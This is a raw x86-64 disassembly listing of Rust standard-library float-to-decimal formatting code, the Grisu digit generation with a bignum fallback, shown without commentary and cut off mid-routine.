lea rcx, [rdx + r13]
mov qword [rsp + 0x48], rax
add rcx, rax
lea r11, [rdi + rcx]
inc r11
and r8d, 0x3f
mov qword [rsp + 0x38], r11
mov ecx, r8d
shr r11, cl
mov edx, 1
shl rdx, cl
mov qword [rsp + 0x168], r12
add r9, r12
shr rbx, 0x20
mov qword [rsp + 0x180], rdx
lea r12, [rdx - 1]
cmp r11d, 0x2710
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0x90], rdi
jae 0x1a7f1b71b9f
cmp r11d, 0x64
jae 0x1a7f1b71bca
xor ecx, ecx
cmp r11d, 0xa
setae cl
lea r14d, [rcx + rcx*8]
inc r14d
jmp 0x1a7f1b71be6
cmp r11d, 0xf4240
jae 0x1a7f1b71ecd
cmp r11d, 0x186a0
setb cl
mov edx, 0x2710
mov r14d, 0x186a0
cmovb r14d, edx
xor cl, 5
jmp 0x1a7f1b71be6
cmp r11d, 0x3e8
setb cl
mov edx, 0x64
mov r14d, 0x3e8
cmovb r14d, edx
xor cl, 3
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
mov qword [rsp + 0x160], rbx
add r9, rbx
mov qword [rsp + 0x68], r9
mov rdx, qword [rsp + 0x38]
mov rdi, rdx
and rdi, r12
movzx r9d, cl
mov ecx, r9d
sub ecx, esi
inc ecx
mov qword [rsp + 0x30], rcx
add r13, qword [rsp + 0x70]
add r13, qword [rsp + 0x78]
add r13, r10
mov qword [rsp + 0x40], r13
sub rdx, r13
mov qword [rsp + 0x70], rdx
lea r10, [rdx + 1]
mov rbx, r10
mov qword [rsp + 0x78], r12
and rbx, r12
xor r13d, r13d
mov r12d, 0xcccccccd
nop dword [rax]
mov eax, r11d
xor edx, edx
div r14d
add al, 0x30
mov r11d, edx
mov rdx, r11
mov ecx, r8d
shl rdx, cl
mov byte [rsp + r13 + 0x57], al
lea rbp, [rdx + rdi]
mov rsi, r10
sub rsi, rbp
ja 0x1a7f1b71cb1
cmp r9, r13
je 0x1a7f1b71db2
mov eax, r14d
imul rax, r12
shr rax, 0x23
inc r13
cmp r14d, 0xa
mov r14d, eax
jae 0x1a7f1b71c50
lea rcx, str.attempt_to_divide_by_zero
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x19
call fcn.1a7f1c2fc60
ud2
mov r10d, r14d
mov ecx, r8d
shl r10, cl
mov r14, qword [rsp + 0x38]
sub r14, qword [rsp + 0x68]
lea rcx, [r14 + 1]
dec r14
cmp rsi, r10
setb r9b
cmp r14, rbp
jbe 0x1a7f1b71f2f
cmp rsi, r10
jb 0x1a7f1b71f2f
mov qword [rsp + 0x38], rcx
mov rbx, qword [rsp + 0x98]
mov r12, qword [rsp + 0x48]
lea r8, [rbx + r12]
mov rcx, qword [rsp + 0x90]
add r8, rcx
add r8, qword [rsp + 0x88]
mov r11, r8
sub r11, qword [rsp + 0x68]
sub r11, rbp
sub r8, qword [rsp + 0x40]
lea rsi, [rdi + r10]
sub r8, rsi
sub r8, rdx
mov rbp, qword [rsp + 0x170]
add rbp, rsi
add rbp, qword [rsp + 0x168]
add rbp, qword [rsp + 0x160]
mov r9, qword [rsp + 0x178]
sub r9, qword [rsp + 0xb0]
imul r15, r9
add r15, rbp
sub r15, rbx
sub r15, r12
sub r15, rcx
add r8, 2
nop word cs:[rax + rax]
lea rbx, [rdx + rsi]
cmp rbx, r14
jb 0x1a7f1b71d86
lea r9, [rdx + r15]
cmp r11, r9
jb 0x1a7f1b71f21
dec al
mov byte [rsp + r13 + 0x57], al
sub r8, r10
setb r9b
add rdi, r10
cmp rbx, r14
jae 0x1a7f1b71daa
sub r11, r10
add rsi, r10
add r15, r10
test r9b, r9b
je 0x1a7f1b71d70
add rdx, rdi
jmp 0x1a7f1b71f27
inc r13
mov r9d, 1
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x180]
mov r11, qword [rsp + 0x78]
nop dword [rax]
cmp r13, 0x10
ja 0x1a7f1b72fe3
mov rax, r9
add rdi, rdi
lea rdx, [rdi + rdi*4]
mov rdi, rdx
and rdi, r11
lea rcx, [r9 + r9]
lea r9, [rcx + rcx*4]
add rbx, rbx
lea rbx, [rbx + rbx*4]
mov ecx, r8d
shr rdx, cl
lea ecx, [rdx + 0x30]
mov byte [rsp + r13 + 0x57], cl
inc r13
mov r10, rbx
sub r10, rdi
jbe 0x1a7f1b71dd0
sub r14, qword [rsp + 0x68]
imul r14, r9
lea rcx, [r14 + r9]
cmp r10, r15
setb r11b
jb 0x1a7f1b71f68
sub r14, r9
mov r9, r14
sub r9, rdi
jbe 0x1a7f1b71f68
add dl, 0x2f
mov r10, rbx
sub r10, r15
sub r10, rdi
mov r8, qword [rsp + 0x98]
add r8, qword [rsp + 0x48]
add r8, qword [rsp + 0x90]
add r8, qword [rsp + 0x88]
add r8, r8
lea r8, [r8 + r8*4]
mov r11, qword [rsp + 0x68]
add r11, r11
lea rsi, [r11 + r11*4]
sub rsi, r8
imul rsi, rax
add rsi, r15
nop word cs:[rax + rax]
lea r8, [rdi + r15]
cmp r8, r14
jb 0x1a7f1b71ea6
lea r11, [rsi + rdi]
cmp r9, r11
jb 0x1a7f1b71f65
mov byte [rsp + r13 + 0x56], dl
sub r10, r15
setb r11b
cmp r8, r14
jae 0x1a7f1b71f6b
dec dl
sub r9, r15
mov rdi, r8
test r11b, r11b
je 0x1a7f1b71e90
jmp 0x1a7f1b71f6b
cmp r11d, 0x5f5e100
mov r13, qword [rsp + 0x40]
mov esi, dword [rsp + 0x30]
jae 0x1a7f1b71f00
cmp r11d, 0x989680
setb cl
mov edx, 0xf4240
mov r14d, 0x989680
cmovb r14d, edx
xor cl, 7
jmp 0x1a7f1b71bef
cmp r11d, 0x3b9aca00
setb cl
mov edx, 0x5f5e100
mov r14d, 0x3b9aca00
cmovb r14d, edx
xor cl, 9
jmp 0x1a7f1b71bef
add rdx, rdi
xor r9d, r9d
mov rbp, rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
sub rax, rbp
jbe 0x1a7f1b71f49
test r9b, r9b
jne 0x1a7f1b71f49
add r10, rbp
sub r10, rcx
jb 0x1a7f1b71faa
cmp rax, r10
jae 0x1a7f1b71faa
cmp rbp, 2
jb 0x1a7f1b71faa
mov rax, qword [rsp + 0x70]
add rax, 0xfffffffffffffffd
cmp rbp, rax
ja 0x1a7f1b71faa
inc r13
jmp 0x1a7f1b72f1b
xor r11d, r11d
mov r8, rdi
mov rdx, rcx
sub rdx, r8
jbe 0x1a7f1b71f85
test r11b, r11b
jne 0x1a7f1b71f85
add r15, r8
sub r15, rcx
jb 0x1a7f1b71faa
cmp rdx, r15
jae 0x1a7f1b71faa
lea rcx, [rax*4]
lea rcx, [rcx + rcx*4]
cmp rcx, r8
ja 0x1a7f1b71faa
shl rax, 3
lea rax, [rax + rax*4]
sub rbx, rax
cmp r8, rbx
jbe 0x1a7f1b72f1b
mov rax, qword [rsp + 0x190]
dec rax
je 0x1a7f1b71fc1
bsr rax, rax
xor rax, 0x3f
jmp 0x1a7f1b71fc6
mov eax, 0x40
mov rbx, qword [rsp + 0x80]
mov r8, qword [rsp + 0xa0]
mov r10, qword [rsp + 0xa8]
movsx rsi, r8w
mov rcx, rsi
sub rcx, rax
imul rax, rcx, 0x4d104d42
movabs r14, 0x1344135080
add r14, rax
shr r14, 0x20
xor eax, eax
xor ecx, ecx
mov r9, qword [rsp + 0x188]
mov rdx, r9
shr rdx, 0x20
cmove edx, eax
setne cl
inc rcx
mov qword [rsp + 0x158], rcx
mov dword [rsp + 0xb8], r9d
mov dword [rsp + 0xbc], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xe0], xmm0
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x110], xmm0
movups xmmword [rsp + 0x120], xmm0
movups xmmword [rsp + 0x130], xmm0
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x448], 1
mov dword [rsp + 0x3a8], 1
movups xmmword [rsp + 0x3ac], xmm0
movups xmmword [rsp + 0x3bc], xmm0
movups xmmword [rsp + 0x3cc], xmm0
movups xmmword [rsp + 0x3dc], xmm0
movups xmmword [rsp + 0x3ec], xmm0
movups xmmword [rsp + 0x3fc], xmm0
movups xmmword [rsp + 0x40c], xmm0
movups xmmword [rsp + 0x41c], xmm0
movups xmmword [rsp + 0x42c], xmm0
movups xmmword [rsp + 0x438], xmm0
mov qword [rsp + 0x3a0], 1
mov dword [rsp + 0x300], r10d
movups xmmword [rsp + 0x304], xmm0
movups xmmword [rsp + 0x314], xmm0
movups xmmword [rsp + 0x324], xmm0
movups xmmword [rsp + 0x334], xmm0
movups xmmword [rsp + 0x344], xmm0
movups xmmword [rsp + 0x354], xmm0
movups xmmword [rsp + 0x364], xmm0
movups xmmword [rsp + 0x374], xmm0
movups xmmword [rsp + 0x384], xmm0
movups xmmword [rsp + 0x390], xmm0
movups xmmword [rsp + 0x2e8], xmm0
movups xmmword [rsp + 0x2dc], xmm0
movups xmmword [rsp + 0x2cc], xmm0
movups xmmword [rsp + 0x2bc], xmm0
movups xmmword [rsp + 0x2ac], xmm0
movups xmmword [rsp + 0x29c], xmm0
movups xmmword [rsp + 0x28c], xmm0
movups xmmword [rsp + 0x27c], xmm0
movups xmmword [rsp + 0x26c], xmm0
movups xmmword [rsp + 0x25c], xmm0
mov qword [rsp + 0x2f8], 1
mov dword [rsp + 0x258], 1
test r8w, r8w
js 0x1a7f1b721f0
movzx edx, r8w
lea rcx, [rsp + 0xb8]
call fcn.1a7f1b690e0
lea rcx, [rsp + 0x3a8]
mov rdx, rsi
call fcn.1a7f1b690e0
lea rcx, [rsp + 0x300]
mov rdx, rsi
jmp 0x1a7f1b721ff
neg r8d
movsx rdx, r8w
lea rcx, [rsp + 0x258]
call fcn.1a7f1b690e0
test r14w, r14w
js 0x1a7f1b72218
movzx edx, r14w
lea rcx, [rsp + 0x258]
jmp 0x1a7f1b7224b
mov eax, r14d
neg eax
movzx esi, ax
lea rcx, [rsp + 0xb8]
mov rdx, rsi
call fcn.1a7f1b68cb0
lea rcx, [rsp + 0x3a8]
mov rdx, rsi
call fcn.1a7f1b68cb0
lea rcx, [rsp + 0x300]
mov rdx, rsi
call fcn.1a7f1b68cb0
mov rsi, qword [rsp + 0x158]
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0xb8]
mov r8d, 0xa0
call fcn.1a7f1c22170
mov qword [rsp + 0x250], rsi
mov rcx, qword [rsp + 0x3a0]
cmp rsi, rcx
mov rax, rcx
cmova rax, rsi
cmp rax, 0x28
ja 0x1a7f1b73074
test rax, rax
je 0x1a7f1b722a9
cmp rax, 1
jne 0x1a7f1b722b0
xor edx, edx
xor r8d, r8d
jmp 0x1a7f1b72301
xor eax, eax
jmp 0x1a7f1b72349
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
xor edx, edx
nop dword [rax]
movzx r8d, r8b
bt r8d, 0
mov r8d, dword [rsp + rdx*4 + 0x300]
mov r10d, dword [rsp + rdx*4 + 0x304]
adc dword [rsp + rdx*4 + 0x1b0], r8d
adc dword [rsp + rdx*4 + 0x1b4], r10d
lea rdx, [rdx + 2]
setb r8b
cmp r9, rdx
jne 0x1a7f1b722c0
test al, 1
jne 0x1a7f1b72301
test r8b, r8b
je 0x1a7f1b72349
jmp 0x1a7f1b72331
mov r9d, dword [rsp + rdx*4 + 0x1b0]
mov r10d, dword [rsp + rdx*4 + 0x300]
lea r11d, [r9 + r10]
movzx edi, r8b
add edi, r11d
setb r8b
mov dword [rsp + rdx*4 + 0x1b0], edi
add r9d, r10d
jb 0x1a7f1b72331
test r8b, r8b
je 0x1a7f1b72349
cmp rax, 0x27
ja 0x1a7f1b73030
mov dword [rsp + rax*4 + 0x1b0], 1
inc rax
mov qword [rsp + 0x250], rax
mov rdi, qword [rsp + 0x2f8]
cmp rdi, rax
cmova rax, rdi
cmp rax, 0x29
jae 0x1a7f1b73074
shl rax, 2
mov edx, 0xff
nop word cs:[rax + rax]
test rax, rax
je 0x1a7f1b723b6
mov r9d, dword [rsp + rax + 0x1ac]
xor r8d, r8d
cmp r9d, dword [rsp + rax + 0x254]
setne r8b
cmova r8d, edx
add rax, 0xfffffffffffffffc
test r8b, r8b
je 0x1a7f1b72380
cmp r8b, bl
jge 0x1a7f1b723d6
inc r14d
jmp 0x1a7f1b7250a
add rax, rsp
add rax, 0x1b0
lea rdx, [rsp + 0x1b0]
cmp rax, rdx
setne r8b
neg r8b
cmp r8b, bl
jl 0x1a7f1b723ae
test rsi, rsi
je 0x1a7f1b72430
lea rdx, [rsi*4]
xor r8d, r8d
xor eax, eax
nop dword [rax + rax]
mov r9d, dword [rsp + r8 + 0xb8]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0xb8], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1a7f1b723f0
test rax, rax
je 0x1a7f1b72432
cmp rsi, 0x27
ja 0x1a7f1b73048
mov dword [rsp + rsi*4 + 0xb8], eax
inc rsi
jmp 0x1a7f1b72432
xor esi, esi
mov qword [rsp + 0x158], rsi
mov rax, qword [rsp + 0x448]
cmp rax, 0x29
jae 0x1a7f1b73074
test rax, rax
je 0x1a7f1b724a0
lea r8, [rax*4]
xor r9d, r9d
xor edx, edx
nop
mov r10d, dword [rsp + r9 + 0x3a8]
lea r10, [r10 + r10*4]
lea rdx, [rdx + r10*2]
mov dword [rsp + r9 + 0x3a8], edx
shr rdx, 0x20
add r9, 4
cmp r8, r9
jne 0x1a7f1b72460
test rdx, rdx
je 0x1a7f1b724a2
cmp rax, 0x27
ja 0x1a7f1b73030
mov dword [rsp + rax*4 + 0x3a8], edx
inc rax
jmp 0x1a7f1b724a2
xor eax, eax
mov qword [rsp + 0x448], rax
test rcx, rcx
je 0x1a7f1b72500
lea rdx, [rcx*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0x300]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0x300], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1a7f1b724c0
test rax, rax
je 0x1a7f1b72502
cmp rcx, 0x27
ja 0x1a7f1b72ffb
mov dword [rsp + rcx*4 + 0x300], eax
inc rcx
jmp 0x1a7f1b72502
xor ecx, ecx
mov qword [rsp + 0x3a0], rcx
mov qword [rsp + 0x30], r14
lea rsi, [rsp + 0x5a0]
lea r14, [rsp + 0x258]
mov r8d, 0xa0
mov rcx, rsi
mov rdx, r14
call fcn.1a7f1c22170
mov qword [rsp + 0x640], rdi
mov edx, 1
mov rcx, rsi
call fcn.1a7f1b690e0
mov rsi, qword [rsp + 0x2f8]
lea rdi, [rsp + 0x4f8]
mov r8d, 0xa0
mov rcx, rdi
mov rdx, r14
call fcn.1a7f1c22170
mov qword [rsp + 0x598], rsi
mov edx, 2
mov rcx, rdi
call fcn.1a7f1b690e0
mov rsi, qword [rsp + 0x2f8]
lea rdi, [rsp + 0x450]
mov r8d, 0xa0
mov rcx, rdi
mov rdx, r14
call fcn.1a7f1c22170
mov qword [rsp + 0x4f0], rsi
mov edx, 3
mov rcx, rdi
call fcn.1a7f1b690e0
mov rcx, qword [rsp + 0x4f0]
mov r15, qword [rsp + 0x158]
cmp r15, rcx
mov qword [rsp + 0x38], rcx
cmova rcx, r15
cmp rcx, 0x28
ja 0x1a7f1b7308a
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x2f8]
xor r13d, r13d
mov r12d, 0xff
jmp 0x1a7f1b72630
xor ecx, ecx
mov qword [rsp + 0x3a0], rcx
mov rcx, qword [rsp + 0x38]
cmp r15, rcx
cmova rcx, r15
cmp rcx, 0x28
ja 0x1a7f1b7308a
mov rdi, r13
lea rax, [rcx*4]
nop dword [rax + rax]
test rax, rax
je 0x1a7f1b72680
mov r8d, dword [rsp + rax + 0x44c]
xor edx, edx
cmp r8d, dword [rsp + rax + 0xb4]
setne dl
cmova edx, r12d
add rax, 0xfffffffffffffffc
test dl, dl
je 0x1a7f1b72640
cmp dl, 1
ja 0x1a7f1b7269e
test rcx, rcx
je 0x1a7f1b72731
cmp rcx, 1
jne 0x1a7f1b726a8
mov al, 1
xor edx, edx
jmp 0x1a7f1b726fb
add rax, rsp
add rax, 0x450
lea rdx, [rsp + 0x450]
cmp rax, rdx
setne dl
neg dl
cmp dl, 1
jbe 0x1a7f1b7266b
xor edx, edx
mov rcx, r15
jmp 0x1a7f1b7273b
mov r8, rcx
and r8, 0xfffffffffffffffe
mov al, 1
xor edx, edx
nop word cs:[rax + rax]
mov r9d, dword [rsp + rdx*4 + 0x450]
not r9d
movzx eax, al
bt eax, 0
adc dword [rsp + rdx*4 + 0xb8], r9d
mov eax, dword [rsp + rdx*4 + 0x454]
not eax
adc dword [rsp + rdx*4 + 0xbc], eax
lea rdx, [rdx + 2]
setb al
cmp r8, rdx
jne 0x1a7f1b726c0
test cl, 1
je 0x1a7f1b72729
mov r8d, dword [rsp + rdx*4 + 0x450]
not r8d
mov r9d, dword [rsp + rdx*4 + 0xb8]
lea r10d, [r8 + r9]
movzx r11d, al
add r11d, r10d
setb al
mov dword [rsp + rdx*4 + 0xb8], r11d
add r8d, r9d
jb 0x1a7f1b72731
test al, al
je 0x1a7f1b7309d
mov qword [rsp + 0x158], rcx
mov dl, 8
mov rax, qword [rsp + 0x48]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x1a7f1b73074
lea r8, [rax*4]
nop dword [rax]
test r8, r8
je 0x1a7f1b727b0
mov r10d, dword [rsp + r8 + 0x4f4]
xor r9d, r9d
cmp r10d, dword [rsp + r8 + 0xb4]
setne r9b
cmova r9d, r12d
add r8, 0xfffffffffffffffc
test r9b, r9b
je 0x1a7f1b72760
cmp r9b, 1
ja 0x1a7f1b727d2
test rax, rax
je 0x1a7f1b72861
cmp rax, 1
jne 0x1a7f1b727da
mov cl, 1
xor r8d, r8d
jmp 0x1a7f1b7282c
add r8, rsp
add r8, 0x4f8
lea r9, [rsp + 0x4f8]
cmp r8, r9
setne r9b
neg r9b
cmp r9b, 1
jbe 0x1a7f1b7278f
mov rax, rcx
jmp 0x1a7f1b7286c
mov r9, rax
and r9, 0xfffffffffffffffe
mov cl, 1
xor r8d, r8d
nop word cs:[rax + rax]
mov r10d, dword [rsp + r8*4 + 0x4f8]
not r10d
movzx ecx, cl
bt ecx, 0
adc dword [rsp + r8*4 + 0xb8], r10d
mov ecx, dword [rsp + r8*4 + 0x4fc]
not ecx
adc dword [rsp + r8*4 + 0xbc], ecx
lea r8, [r8 + 2]
setb cl
cmp r9, r8
jne 0x1a7f1b727f0
test al, 1
je 0x1a7f1b72859
mov r9d, dword [rsp + r8*4 + 0x4f8]
not r9d
mov r10d, dword [rsp + r8*4 + 0xb8]
lea r11d, [r9 + r10]
movzx esi, cl
add esi, r11d
setb cl
mov dword [rsp + r8*4 + 0xb8], esi
add r9d, r10d
jb 0x1a7f1b72861
test cl, cl
je 0x1a7f1b7309d
mov qword [rsp + 0x158], rax
or dl, 4
mov rcx, qword [rsp + 0x40]
cmp rax, rcx
cmova rcx, rax
cmp rcx, 0x29
jae 0x1a7f1b7308a
lea r8, [rcx*4]
nop word [rax + rax]
test r8, r8
je 0x1a7f1b728e0
mov r10d, dword [rsp + r8 + 0x59c]
xor r9d, r9d
cmp r10d, dword [rsp + r8 + 0xb4]
setne r9b
cmova r9d, r12d
add r8, 0xfffffffffffffffc
test r9b, r9b
je 0x1a7f1b72890
cmp r9b, 1
ja 0x1a7f1b72902
test rcx, rcx
je 0x1a7f1b72992
cmp rcx, 1
jne 0x1a7f1b7290a
mov al, 1
xor r8d, r8d
jmp 0x1a7f1b7295d
add r8, rsp
add r8, 0x5a0
lea r9, [rsp + 0x5a0]
cmp r8, r9
setne r9b
neg r9b
cmp r9b, 1
jbe 0x1a7f1b728bf
mov rcx, rax
jmp 0x1a7f1b7299d
mov r9, rcx
and r9, 0xfffffffffffffffe
mov al, 1
xor r8d, r8d
nop word cs:[rax + rax]
mov r10d, dword [rsp + r8*4 + 0x5a0]
not r10d
movzx eax, al
bt eax, 0
adc dword [rsp + r8*4 + 0xb8], r10d
mov eax, dword [rsp + r8*4 + 0x5a4]
not eax
adc dword [rsp + r8*4 + 0xbc], eax
lea r8, [r8 + 2]
setb al
cmp r9, r8
jne 0x1a7f1b72920
test cl, 1
je 0x1a7f1b7298a
mov r9d, dword [rsp + r8*4 + 0x5a0]
not r9d
mov r10d, dword [rsp + r8*4 + 0xb8]
lea r11d, [r9 + r10]
movzx esi, al
add esi, r11d
setb al
mov dword [rsp + r8*4 + 0xb8], esi
add r9d, r10d
jb 0x1a7f1b72992
test al, al
je 0x1a7f1b7309d
mov qword [rsp + 0x158], rcx
add dl, 2
cmp rcx, rbp
mov r15, rbp
cmova r15, rcx
cmp r15, 0x29
jae 0x1a7f1b730b7
lea rax, [r15*4]
nop dword [rax]
test rax, rax
je 0x1a7f1b72a10
mov r9d, dword [rsp + rax + 0x254]
xor r8d, r8d
cmp r9d, dword [rsp + rax + 0xb4]
setne r8b
cmova r8d, r12d
add rax, 0xfffffffffffffffc
test r8b, r8b
je 0x1a7f1b729c0
cmp r8b, 1
ja 0x1a7f1b72a31
test r15, r15
je 0x1a7f1b72ac2
cmp r15, 1
jne 0x1a7f1b72a39
mov al, 1
xor ecx, ecx
jmp 0x1a7f1b72a8c
add rax, rsp
add rax, 0x258
lea r8, [rsp + 0x258]
cmp rax, r8
setne r8b
neg r8b
cmp r8b, 1
jbe 0x1a7f1b729ef
mov r15, rcx
jmp 0x1a7f1b72acc
mov r8, r15
and r8, 0xfffffffffffffffe
mov al, 1
xor ecx, ecx
nop word cs:[rax + rax]
mov r9d, dword [rsp + rcx*4 + 0x258]
not r9d
movzx eax, al
bt eax, 0
adc dword [rsp + rcx*4 + 0xb8], r9d
mov eax, dword [rsp + rcx*4 + 0x25c]
not eax
adc dword [rsp + rcx*4 + 0xbc], eax
lea rcx, [rcx + 2]
setb al
cmp r8, rcx
jne 0x1a7f1b72a50
test r15b, 1
je 0x1a7f1b72aba
mov r8d, dword [rsp + rcx*4 + 0x258]
not r8d
mov r9d, dword [rsp + rcx*4 + 0xb8]
lea r10d, [r8 + r9]
movzx r11d, al
add r11d, r10d
setb al
mov dword [rsp + rcx*4 + 0xb8], r11d
add r8d, r9d
jb 0x1a7f1b72ac2
test al, al
je 0x1a7f1b7309d
mov qword [rsp + 0x158], r15
inc dl
cmp rdi, 0x11
je 0x1a7f1b72fda
add dl, 0x30
mov byte [rsp + rdi + 0x57], dl
mov r14, qword [rsp + 0x448]
cmp r15, r14
mov rcx, r14
cmova rcx, r15
cmp rcx, 0x29
jae 0x1a7f1b7308a
lea r13, [rdi + 1]
shl rcx, 2
nop word cs:[rax + rax]
test rcx, rcx
je 0x1a7f1b72b40
mov eax, dword [rsp + rcx + 0x3a4]
xor esi, esi
cmp eax, dword [rsp + rcx + 0xb4]
setne sil
cmova esi, r12d
add rcx, 0xfffffffffffffffc
test sil, sil
je 0x1a7f1b72b10
jmp 0x1a7f1b72b5c
lea rax, [rsp + rcx]
add rax, 0x3a8
lea rcx, [rsp + 0x3a8]
cmp rax, rcx
setne sil
neg sil
mov r8d, 0xa0
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0xb8]
call fcn.1a7f1c22170
mov qword [rsp + 0x250], r15
mov rcx, qword [rsp + 0x3a0]
cmp r15, rcx
mov rax, rcx
cmova rax, r15
cmp rax, 0x28
ja 0x1a7f1b73074
test rax, rax
je 0x1a7f1b72bb0
cmp rax, 1
jne 0x1a7f1b72bc0
xor edx, edx
xor r8d, r8d
jmp 0x1a7f1b72c20
xor eax, eax
jmp 0x1a7f1b72c70
mov r9, rax
and r9, 0xfffffffffffffffe
xor r8d, r8d
xor edx, edx
nop dword [rax]
movzx r8d, r8b
bt r8d, 0
mov r8d, dword [rsp + rdx*4 + 0x300]
mov r10d, dword [rsp + rdx*4 + 0x304]
adc dword [rsp + rdx*4 + 0x1b0], r8d
adc dword [rsp + rdx*4 + 0x1b4], r10d
lea rdx, [rdx + 2]
setb r8b
cmp r9, rdx
jne 0x1a7f1b72bd0
test al, 1
jne 0x1a7f1b72c20
test r8b, r8b
je 0x1a7f1b72c70
jmp 0x1a7f1b72c58
mov r9d, dword [rsp + rdx*4 + 0x1b0]
mov r10d, dword [rsp + rdx*4 + 0x300]
lea r11d, [r9 + r10]
movzx ebx, r8b
add ebx, r11d
setb r8b
mov dword [rsp + rdx*4 + 0x1b0], ebx
add r9d, r10d
mov rbx, qword [rsp + 0x80]
jb 0x1a7f1b72c58
test r8b, r8b
je 0x1a7f1b72c70
cmp rax, 0x27
ja 0x1a7f1b73030
mov dword [rsp + rax*4 + 0x1b0], 1
inc rax
mov qword [rsp + 0x250], rax
cmp rbp, rax
cmova rax, rbp
cmp rax, 0x29
jae 0x1a7f1b73074
shl rax, 2
nop dword [rax]
test rax, rax
je 0x1a7f1b72cc0
mov r8d, dword [rsp + rax + 0x1ac]
xor edx, edx
cmp r8d, dword [rsp + rax + 0x254]
setne dl
cmova edx, r12d
add rax, 0xfffffffffffffffc
test dl, dl
je 0x1a7f1b72c90
cmp sil, bl
jge 0x1a7f1b72ce2
jmp 0x1a7f1b72e37
add rax, rsp
add rax, 0x1b0
lea rdx, [rsp + 0x1b0]
cmp rax, rdx
setne dl
neg dl
cmp sil, bl
jl 0x1a7f1b72e37
cmp dl, bl
jl 0x1a7f1b72e37
test r15, r15
je 0x1a7f1b72d50
lea rdx, [r15*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0xb8]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0xb8], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1a7f1b72d00
test rax, rax
je 0x1a7f1b72d53
cmp r15, 0x27
ja 0x1a7f1b73004
mov dword [rsp + r15*4 + 0xb8], eax
inc r15
jmp 0x1a7f1b72d53
xor r15d, r15d
mov qword [rsp + 0x158], r15
test r14, r14
je 0x1a7f1b72dc0
lea rdx, [r14*4]
xor r8d, r8d
xor eax, eax
nop dword [rax]
mov r9d, dword [rsp + r8 + 0x3a8]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0x3a8], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1a7f1b72d70
test rax, rax
je 0x1a7f1b72dc3
cmp r14, 0x27
ja 0x1a7f1b7301a
mov dword [rsp + r14*4 + 0x3a8], eax
inc r14
jmp 0x1a7f1b72dc3
xor r14d, r14d
mov qword [rsp + 0x448], r14
test rcx, rcx
je 0x1a7f1b72610
lea rdx, [rcx*4]
xor r8d, r8d
xor eax, eax
nop word cs:[rax + rax]
mov r9d, dword [rsp + r8 + 0x300]
lea r9, [r9 + r9*4]
lea rax, [rax + r9*2]
mov dword [rsp + r8 + 0x300], eax
shr rax, 0x20
add r8, 4
cmp rdx, r8
jne 0x1a7f1b72df0
test rax, rax
je 0x1a7f1b72612
cmp rcx, 0x27
ja 0x1a7f1b72ffb
mov dword [rsp + rcx*4 + 0x300], eax
inc rcx
jmp 0x1a7f1b72612
cmp dl, bl
jge 0x1a7f1b72f11
cmp sil, bl
jge 0x1a7f1b72ed6
lea rcx, [rsp + 0xb8]
mov edx, 1
call fcn.1a7f1b690e0
mov rax, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x2f8]
cmp rax, rcx
cmova rcx, rax
cmp rcx, 0x29
jae 0x1a7f1b7308a
shl rcx, 2
mov eax, 0xff
nop word cs:[rax + rax]
test rcx, rcx
je 0x1a7f1b72eb7
mov r8d, dword [rsp + rcx + 0x254]
xor edx, edx
cmp r8d, dword [rsp + rcx + 0xb4]
setne dl
cmova edx, eax
add rcx, 0xfffffffffffffffc
test dl, dl
je 0x1a7f1b72e90
jmp 0x1a7f1b72ed1
lea rax, [rsp + rcx]
add rax, 0x258
lea rcx, [rsp + 0x258]
cmp rax, rcx
setne dl
neg dl
cmp dl, 2
jae 0x1a7f1b72f11
mov r8, 0xffffffffffffffff
mov rcx, r13
test rcx, rcx
je 0x1a7f1b72f9a
mov rax, rcx
dec rcx
inc r8
cmp byte [rsp + rax + 0x56], 0x39
je 0x1a7f1b72ee0
inc byte [rsp + rcx + 0x57]
cmp rax, rdi
ja 0x1a7f1b72f11
lea rcx, [rsp + rax]
add rcx, 0x57
mov dl, 0x30
call fcn.1a7f1c22810
cmp rdi, 0x11
jae 0x1a7f1b73134
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x57]
mov rdx, r13
mov r8, qword [rsp + 0x30]
xor r9d, r9d
call fcn.1a7f1b693d0
mov rdi, qword [rsp + 0x1a8]
mov r15, qword [rsp + 0x1a0]
mov r14, qword [rsp + 0x198]
mov qword [rsp + 0x450], r14
mov qword [rsp + 0x458], r15
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], rdx
lea rdx, [rsp + 0x450]
mov rcx, rdi
call fcn.1a7f1b6fc10
nop
add rsp, 0x648
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x57], 0x31
test rdi, rdi
je 0x1a7f1b72fbd
lea rcx, [rsp + 0x58]
mov dl, 0x30
